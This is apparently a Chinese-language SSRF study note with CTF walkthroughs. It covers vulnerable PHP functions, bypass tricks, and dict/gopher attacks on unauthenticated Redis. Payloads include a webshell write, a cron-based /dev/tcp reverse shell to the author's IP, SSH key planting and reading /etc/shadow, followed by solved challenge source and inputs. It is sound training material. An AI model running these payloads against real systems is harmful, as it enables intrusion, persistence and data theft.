服务端请求伪造 SSRF
服务端请求伪造 SSRF
1.服务端请求伪造 是什么
服务端请求伪造(SSRF) ,是指攻击者通过伪造服务端请求,从而使服务器发起对第三方系统的攻击或访问。攻击者通常会使用受害者服务器上的应用程序作为代理来发起请求,以使请求看起来像是由服务器发起的。
CSRF 客户端请求伪造
2.SSRF 漏洞的工作方式
1.攻击者提交恶意的地址:在web应用提交恶意的网站(URL)
2.服务器替代攻击者发起请求
3.攻击获取敏感信息或执行恶意操作 :如果服务器能够访问到内部网络或敏感资源,攻击者就可以通过 服务器获取敏感信息,甚至进行远程攻击操作
3 . SSRF 漏洞攻击危害:
1.请求内部服务器的信息(比如探测数据库,文件系统等)
2.探测内部网络,比如端口,ip,是否存在或可用
3.读取敏感文件(file://协议)
4.进行web应用指纹识别
5.可以利用SSRF攻击其他服务漏洞(如SQL ,XSS) //内部发起,可能不会拦截
6.云环境的元数据 泄露 :Azure,AWS云环境,有一个提供 元数据的接口:169.254.169.254/latest/meta-data.AWS:IAM
4.漏洞函数
php:
可用于发出http请求的函数,比如: curl_exec() ; file_get_conrtents() ; fsockopen() ;等函数,如果这些函数可以从用户的输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过注入恶意代码触发 SSRF
java:
仅支持 HTTP/HTTPS 协议的类,HttpClient 类,等
通过URL 读取文件
SSRF攻击是让服务器自己向自己发出请求。服务器上的应用程序(如PHP代码)代表用户发出HTTP请求。如果flag文件在服务器的/flag路由上,那么通过让服务器请求自己的本地服务(如Web服务器),就可以读取flag。
在提供的代码中,服务器有一个Web服务器正在运行,监听在127.0.0.1(本地回环地址)上。当代码使用cURL请求http://127.0.0.2/flag时,它实际上是在请求服务器本地的Web服务器,因为127.0.0.2是回环地址的一个别名,指向本地主机。
1.curl_exec
格式:curl_exec
作用:执行cURL 会话
2.file_get_contents :
格式:file_get_contents()
作用:把整个文件读入一个字符串中。将整个文件或一个url所指向的文件读入应该字符串中。
3.fsockopen:
通过burp怎么自动发现SSRF漏洞
插件: SSRF-King (被动方式)
利用burp 自带的 collaborator 模块,类似于 dnslog平台
主动插件 : Collaborator Everywhere
SSRF多协议利用:
1.file://
读取敏感文件 : file:// 绝对路径
/etc/passwd
/etc/shadow
/etc/apache/http.conf
2.使用dict 协议探测内网服务:
dict协议是一个在线的网络字典协议,探测内网应用信息
dict://ip:port/命令
内网主机探测 :摸清内网的资产情况(服务;ip)
开放端口探测
端口服务指纹识别
执行命令
探测服务器自身是否存在未公开的服务: dict://127.0.0.1:port(bp爆破)
探测同服务器在同一个内网中的其他主机的IP 和服务: 比如 dict://172.0.0.1:22
植入 webshell ,通过其他服务
探测到了一个redis(内存数据库)服务,恰好 它存在未授权 dict://172.19.0.3:6379
dict://172.19.0.3:6379/info (信息)
dict://172.19.0.3:6379/flushall (清空它的数据库内容,如果SRC挖掘,不要去执行)
dict://172.19.0.3:6379/config:set:dbfilename:test.php (设置数据库名)
dict://172.19.0.3:6379/config:set:dir:/var/www/app (设置目录)
dict://172.19.0.3:6379/set:test:"\n\n \n\n" (上传木马)
dict://172.19.0.3:6379/save(保存)
因为主机和服务器不能直接通讯,不能连上
可以写反弹shell ,让服务器主动链接主机
注入 反弹shell
1.结合 redis 未授权 + 通过 linux的任务计划,写入任务计划
dict://172.19.0.3:6379/flushall (清空它的数据库内容,如果SRC挖掘,不要去执行)
dict://172.19.0.3:6379/config set dir/var/spool/cron/ (设置目录 linux任务计划的目录)
dict://172.19.0.3:6379/config set dbfilename root (root用户的数据库名)
dict://172.19.0.3:6379/set x "\n2*** bash -i &> /dev/tcp/192.168.91.130/1234 0>&1\n"
2*** 代表每两分钟执行一次 /分钟 小时 天 月 星期
bash -i & /var/tcp/192.168.91.130/1234 0> &1 (反弹一个shell到 该ip的该端口,仅bash shell 支持这个特性 zsh ,sh 不支持 ) 这个ip是自己的ip
dict://172.19.0.3:6379/save(保存)
写入SSH公钥,登录远程服务器 (前提:能访问这个服务器)
dict://172.19.0.3:6379/flushall (清空它的数据库内容,如果SRC挖掘,不要去执行)
dict://172.19.0.3:6379/config set dir /root/.ssh (设置目录 linux任务计划的目录)
dict://172.19.0.3:6379/config set dbfilename ''authorized_keys'' (root用户的公钥数据库)
dict://172.19.0.3:6379/ set text "\n"
SSRF 不仅仅是存在于GET或者POST 请求参数中,也可能存在于HTT请求头中
//生成公钥
ssh-keygen -t rsa
//查看并复制公钥内容
cat ~/.ssh/id_rsa.pub
dict://172.19.0.3:6379/save(保存)
用ssh + 公钥的方式链接目标服务器
ssh root@192.168.91.130 -p 2222 -i ~/.ssh/id_rsa
如果要求再次输入密码,因为目标主机的openssh -server 版本太低了,而我们客户端的版本较高,不支持rsa的签名
rm ~/.ssh/know_hosts 删掉这个文件
ssh -o "PublicAcceptAlgorithms =_ssh-rsa" root@192.168.91.130 -p 2222 -i ~/.ssh/id_rsa //加 允许这个加密算法
3.gopher
gopher 协议 是SSRF利用的万金油协议
相比于dict 协议 ,gopher 协议可以也出现执行多个操作
gopher是一个应用层协议。在www.没有出现之前,是互联网的主要信息检索协议 :默认端口是70
gopher 协议 支持 发生发送GET POST 请求
语法格式
gopher://ip:port/_数据流
限制条件
curl/libcurl 7.43上 gopher协议存在 bug(%00截断)经测试7.49 可用
curl gopher://192.168.91.130:2333/abcd
请求abcd 服务器接收到了bcd
curl gopher://192.168.91.130:2333/_abcd
如何通过 gopher 协议发送 http请求
1.把http请求内容进行urlencode (两次编码) url加密后数据再次进行url编码
2.在结尾处 添加%0d%0a 表示结束
3.构建请求
gopher://172.19.0.1:80/_数据流(url编码后)
//如果是post请求 ,有几个必要的参数
gopher协议 :通过 redis 未授权 + 任务计划 写入反弹shell
redis 通信使用的是resp协议
使用工具快速利用 (Gopherus)
git clone https://gitee.com/yijingsec/Gopherus
python gopherus.py --exploit redis
绕过方法
1.@ 不允许访问内网ip https://abc.com@127.0.0.1 等同于直接请求http://127.0.0.1
2.添加端口号 https://127.0.0.1:8080
3.短地址 https://0x9.,me/cuGfD 短地址缩短 https://dwz.cn/
4.可以指向任意ip的域名,比如说把一个域名解析指向127.0。0.1 , xip.io 原理是DNS解析,xip.io 可以指向任意域名,即127.0.0.1.xip.io 可解析为127.0.0.1
5.ip地址转换进制 (十进制)
6.非HTTP协议
7.DNS Rebinding
8.利用[::] 绕过 http://[::]:80 >>> https://127.0.0.1
9.句号绕过 127。0。0。1 >>>127.0.0.1
10.利用302 跳转绕过 ,使用https://tinyurl.com 生成302跳转地址
-
0 /127.1
12.特殊数字 比如 1②7.0.0.1 /127.0.0.2 也是回环地址
修复
过滤返回信息,验证远程服务器对请求的响应
统一错误信息
限制请求的端口为 http 常用的端口
禁用不需要的协议,仅允许 http 和 https 请求
设置 url 白名单或限制内网 ip
SSRF的防御
1.严格验证用户输入 : 对用户输入的URL进行严格验证,只允许特点的服务或者特定的域名
2.严禁内部网络访问 :防止服务器访问内部网络或本地服务(比如 localhost ;127.0.0.1)
3.使用白名单 限制
4.使用专网隔离 (对公服务和 内部服务进行隔离)
1.网站的当前功能具备一个对外获取资源的能力,具备从指定目标(外部或内部其他地方)获取资源的能力
2.
3.
SSRF 有回显 无回显
有回显 (执行的东西,页面会显示)
http协议探测资产,探测漏洞
file 协议去读取文件
无回显
不会直接在页面上 显示 服务器 请求资源后的后果
-
用 dnslog 判断 ( burp 的 collaborator 功能, 请求,收集(poll) 如果能解析出域名,在网站访问该域名,如果可以收到请求就说明存在 对外请求资源的能力,可能存在SSRF漏洞 )
-
用 nc 监听 一个端口,去请求这个端口,看能不能请求成功(有请求记录
-
无法读取文件 除非结合其他特殊的漏洞,比如说 shellshock漏洞 :
docker 靶场安装
kali2022 已经安装好 docker , 将靶场的配置文件压缩包复制到kali2022上面,7z 解压缩
7z x SSRF.7z
启用靶场
sudo docker compose up -d
ip a s 可以看ip
解决虚拟机ip访问的问题,因为使用NAT模式,外部网络不到虚拟机的ip,可以使用端口映射,
访问的时候,直接访问127.0.0.1:8888端口就可以使用虚拟机的服务
实战
1.[NISACTF 2022]easyssrf
看到网站快照,大概可以猜测出 SSRF漏洞
输入 file://flag
去看看这个文件
file:///fl4g 的快照如下:
你应该看看除了index.php,是不是还有个ha1x1ux1u.php
去看这个文件
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}
//flag in /flag
echo file_get_contents($file);
可以使用文件包含,直接传参 file=/flag
或者伪协议进行·读取
file=php://fliter/read=convert.base64-encode/resource=/flag
解决
2.[NSSRound#28 Team]ez_ssrf
这里想明白了一个东西
为什么地址要填写127.0.0.1呢
SSRF攻击是让服务器自己向自己发出请求。服务器上的应用程序(如PHP代码)代表用户发出HTTP请求。如果flag文件在服务器的/flag路由上,那么通过让服务器请求自己的本地服务(如Web服务器),就可以读取flag。
<?php
highlight_file(__FILE__);
//flag在/flag路由中
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (strpos($url, 'http://') !== 0) {
echo json_encode(["error" => "Only http:// URLs are allowed"]);
exit;
}
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
$forbidden_ips = ['127.0.0.1', '::1'];
if (in_array($ip, $forbidden_ips)) {
echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo json_encode(["error" => curl_error($ch)]);
} else {
echo $response;
}
curl_close($ch);
} else {
echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?>
可以看出来是 curl 函数,联想到 SSRF漏洞
传参让服务器自己给自己传 命令读取flag文件
但是过滤了127.0.0.1
使用几个方法
1.url=http://0/flag
2.url=http://127.0.0.2/flag
解决
3. [HNCTF 2022 WEEK2]ez_ssrf
题目源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
fsockopen 可能产生SSRF漏洞
fsockopen 是一个用于在 PHP 中建立网络连接的函数。它可以通过 TCP 或 UDP 协议与远程服务器进行通信,并返回一个文件指针,可以在该连接上进行读写操作
fsockopen() 函数是用于建立一个 socket 连接
fwrite将data写入当前会话
可以构造一个请求头,读取服务器本地文件
这里的 host 我们填入 127.0.0.1 , 端口 我们就填 80 端口,也就是 web服务的默认端口
我们需要使用data 来构造读取 flag文件
GET /flag.php HTTP/1.1\r\n
Host: 127.0.0.1\r\n
Connection: Close\r\n
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n"; //请求头和请求体之间必须用一个空行分隔,这个空行就是通过两个回车换行符(即\r\n\r\n)表示的。 最后一个头部 Connection: Close 后的 \r\n 结束该头部行,紧接着的 \r\n 表示空行,标志着整个头部的结束。
echo $out;
echo base64_encode($out)
?>
在HTTP协议中,“Connection”头字段用于控制当前事务完成后是否关闭网络连接。当设置为“Close”时,表示客户端或服务器希望在这次请求/响应之后关闭连接。这与“Keep-Alive”相反,后者表示保持连接开放以用于后续请求。
R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
得到结果
解决
4.[Hitcon 2017]SSRFme
沙盒题目
题目源码
<?php
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); //创建一个沙盒目录路径,目录名由字符串"orange"和客户端IP的MD5哈希组成 ,$_SERVER["REMOTE_ADDR"]在这里相当于我们回显的IP地址。
//所以执行这段代码相当于:$sandox="sandbox/" . md5("orange"."127.0.0.1");
//执行后得到一个路径为:sandox/cfbb870b58817bf7705c0bd826e8dba7
//然后使用mkdir()创建了这样的一个沙盒路径,并且使用chdir()将当前工作路径修改为:
//sandox/cfbb870b58817bf7705c0bd826e8dba7
@mkdir($sandbox); //创建沙盒目录
@chdir($sandbox); //切换到沙盒目录
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); //shell_exec() 用于执行操作系统命令并返回命令的输出, 通过`GET`命令(类似于curl或wget)获取用户通过`url`参数提供的URL的内容。 `escapeshellarg`用于转义参数,防止命令注入,但这里允许任意URL(包括file://协议 )
$info = pathinfo($_GET["filename"]); //解析用户通过`filename`参数提供的文件名,获取路径信息
$dir = str_replace(".", "", basename($info["dirname"])); // 获取文件路径的目录部分,并移除所有的点号(防止目录遍历),然后取基本名称(防止路径遍历)
@mkdir($dir); //创建处理后的目录
@chdir($dir); //切换到该目录
@file_put_contents(basename($info["basename"]), $data); // 将下载的数据写入文件(文件名为处理后的基本名称)file_put_contents(basename($info["basename"]), $data);
//这个将我们linux命令生成的结果,放入了文件中(如果传入的文件名是123,那么$data就被放入sandox/cfbb870b58817bf7705c0bd826e8dba7/123
highlight_file(__FILE__)
?>
我们可以控制的是 url参数 filename 可以获取flag.php的路径
可以通过url进行目录遍历 (因为有shell_exec函数)
filename 随便传
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=/readflag&filename=upload/test.php
访问不了,先不做了
【HITCON 2017】SSRFme——最简单伪协议思路 - CAP_T - 博客园
shell_exec执行GET命令,然后将输出保存到$data,然后写入文件。所以,如果用户能让GET命令执行/readflag`,那么输出就会被捕获并写入文件。
管道符|用于将前一个命令的输出传递给后一个命令
bash -c /readflag
针对GET命令,使用file:来搭配读取文件
而想执行readflag文件,仅仅是使用file:是不够的,还需要使用Linux下的命令执行:bash -c
目的:把通过命令行执行readflag后的结果放入文件123中。
再次传参:/?url=file:bash -c /readflag&filename=bash -c /readflag (执行/readflag)
进一步传参:/?url=file:bash -c /readflag&filename=123 (管道符|用于将前一个命令的输出传递给后一个命令 ,将readflag执行的结果,就是flag,写入到123中)
发现文件没有写入成功,看了WP后说是要多加一个管道符“|”
再次传参:/?url=file:bash -c /readflag|&filename=bash -c /readflag
进一步传参:/?url=file:bash -c /readflag&filename=123
访问http://7edaf5b8-5f95-433a-b3d0-7c91f8e86d39.node4.buuoj.cn/sandbox/cfbb870b58817bf7705c0bd826e8dba7/123

浙公网安备 33010602011771号